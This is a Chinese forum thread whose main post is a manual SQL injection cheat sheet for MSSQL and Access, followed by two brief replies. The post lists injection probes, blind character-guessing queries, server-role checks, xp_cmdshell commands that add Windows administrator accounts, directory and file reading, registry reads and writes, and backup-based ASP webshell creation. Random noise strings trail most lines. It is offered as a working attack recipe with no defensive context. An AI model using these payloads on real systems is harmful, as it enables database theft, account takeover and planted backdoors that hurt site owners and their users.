社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 4130阅读
  • 2回复

手动方式SQL注入脚本命令

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
1.判断是否有注入;and 1=1 ;and 1=2 kqvJ&7  
  2.初步判断是否是mssql ;and user>0 W}2 &Pax  
$%%>n ^??  
  3.注入参数是字符'and [查询条件] and ''=' vZeYp  
$`5lvy^  
  4.搜索时没过滤参数的'and [查询条件] and '%25'=' I,<54? vS  
n~ >h4=h  
  5.判断数据库系统 +F~0\#d  
&<V_[Wh"  
  ;and (select count(*) from sysobjects)>0 mssql ;#yu"6{  
QS [B  
  ;and (select count(*) from msysobjects)>0 access "gvw0)  
h@,e`Z  
IO!1|JMr6  
)=E~CpKV  
  6.猜数据库 ;and (select Count(*) from [数据库名])>0 NC.P 2^%  
T$^>Fiz{Se  
  7.猜字段 ;and (select Count(字段名) from 数据库名)>0 $#7J\=GZ+  
4%fN\f  
  8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 y{`(|,[  
*Qg5Z   
  9.(1)猜字段的ascii值(access) ZE8/ m")  
&[ u6oAR  
  ;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 X`3vSCn  
B>|U-[A  
  (2)猜字段的ascii值(mssql) 8gbm"!  
B3>Uba*-)}  
  ;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 \l]pe|0EW  
'y6!%k*  
  10.测试权限结构(mssql) {y&\?'L'  
Y%)h)El  
@nx}6?p\,  
9Z0CF~Y5  
  ;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 9]L!.  
[7e{=\`=  
  ;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 02W4-*)  
xZP>g  
  ;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- bwSRJFqb  
5hJYy`h~  
  ;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- @4_rxu&  
yC'hwoQ`  
  ;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- V%BJNJ  
5fegWCJ  
  ;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- -4vHK!l  
YBtq0c  
  ;and 1=(select IS_MEMBER('db_owner'));-- "y~muE:.  
"$W|/vD+  
q: TT4MUj<  
b =K6IX;  
  11.添加mssql和系统的帐户 9iGE`1N%E  
Ld\LKwo  
  ;exec master.dbo.sp_addlogin username;-- @L[PW@:SZ  
  ;exec master.dbo.sp_password null,username,password;-- /lr1hW~Dbk  
K_AtU/  
  ;exec master.dbo.sp_addsrvrolemember sysadmin username;-- c?.r"5#  
X;OsH  
  ;exec master.dbo.xp_cmdshell 'net user username password w>6"Sc7oc2  
pHj[O?F  
  /workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- nIyROhZ  
lrs0^@.+  
  ;exec master.dbo.xp_cmdshell 'net user username password /add';-- ;]gsJ9FK<  
:F^$"~(,  
  ;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- ~KAp\!,  
Y ]~ HAv '  
]27>a"p59Y  
FJa[ToZ4+  
  12.(1)遍历目录 U] V3DDN  
@V* ju  
  ;create table dirs(paths varchar(100), id int) `Di ^6UK(  
S2rEy2\}:  
  ;insert dirs exec master.dbo.xp_dirtree 'c:\' #~H%[ sa  
Uz6{>OCvk|  
  ;and (select top 1 paths from dirs)>0 c~gNH%1XN  
YN,y0t/cQ  
  ;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) vzY'+9q1.  
]aC ':55(  
,DQGv_  
L$Hx?^3  
  (2)遍历目录 {cR_?Y@  
a=J@y K  
  ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- iK5]y+@8  
  ;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 +{,N X  
Vs_\ykO  
  ;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 r6d0x  
MzEm*`<  
  ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 HGO#e  
!,cQ'*<W8-  
  ;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 Z/2,al\  
3]O`[P,*%  
,f8}q]FTA  
/S:w&5e  
  13.mssql中的存储过程 MU_!&(X_  
>Z#uFt0<Pm  
  xp_regenumvalues 注册表根键, 子键 )-bD2YA{  
5h`m]#YEG  
  ;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 NuC-qG#  
%f3c7\=C  
  xp_regread 根键,子键,键值名 *QbM*oH  
Pm$F2YrO3  
  ;exec xp_regread FU_fCL8yA  
t8+?U^j  
  'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 q';&SR#"`K  
:3f-9aRC!  
  xp_regwrite 根键,子键, 值名, 值类型, 值 h5L=M^z!>  
!]$V9F{K  
  值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 WGH%92  
;[(= kOI  
  ;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 i&'#+f4t  
zP_]  
  xp_regdeletevalue 根键,子键,值名 @GN(]t&3  
<Q2u)m'  
  exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 kCj`V2go  
iuiAK  
  xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 w Y8@1>ah  
a?5WKO  
uQH%.A  
}x*7l`1  
  14.mssql的backup创建webshell Ct4LkmD  
WMW1B }Z3  
  use model J'o DOn.M  
8';m)Jc  
  create table cmd(str image); U(U@!G)  
&Fw[YGJayz  
  insert into cmd(str) values (''); `TUZZz  
T>d\%*Q+B  
  backup database model to disk='c:\l.asp'; C">`' G2  
hHcJN  
b6 $,Xh  
T!MZ+Ph`F  
  15.mssql内置函数 d; 9*l!CF  
x>}B#  
  ;and (select @@version)>0 获得Windows的版本号 )VNM/o%Q  
lc]V\ 'e  
  ;and user_name()='dbo' 判断当前系统的连接用户是不是sa z)}3**3'y  
}7K@e;YUg  
  ;and (select user_name())>0 爆当前系统的连接用户 \ jE CSV|  
^;.T}c%N  
  ;and (select db_name())>0 得到当前连接的数据库 4w 'lu"U  
`,+#!)  
\Ke8W,)ew  
T YYp"wx  
  16.简洁的webshell %B@ !  
>^dyQyK  
  use model Z+ixRch@-s  
&,J*_F<s2<  
  create table cmd(str image); M|d={o9Hp  
djW cbC=g_  
  insert into cmd(str) values (''); )D;*DUtMVm  
~e{H#*f&1/  
  backup database model to disk='g:\wwwtest\l.asp';
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 经院博士
发帖
3975
铜板
4727
人品值
1147
贡献值
565
交易币
0
好评度
3833
信誉值
0
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-08-31
学习.......... 呵呵 我是好人
引用

引用
想找我?如果我即不在 石家庄经济学院论坛www.uebbs.net,也不在宿舍,那,我肯定是在去的路上

引用
级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
只看该作者 2 发表于: 2006-08-31
这个和好人有关系吗?
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八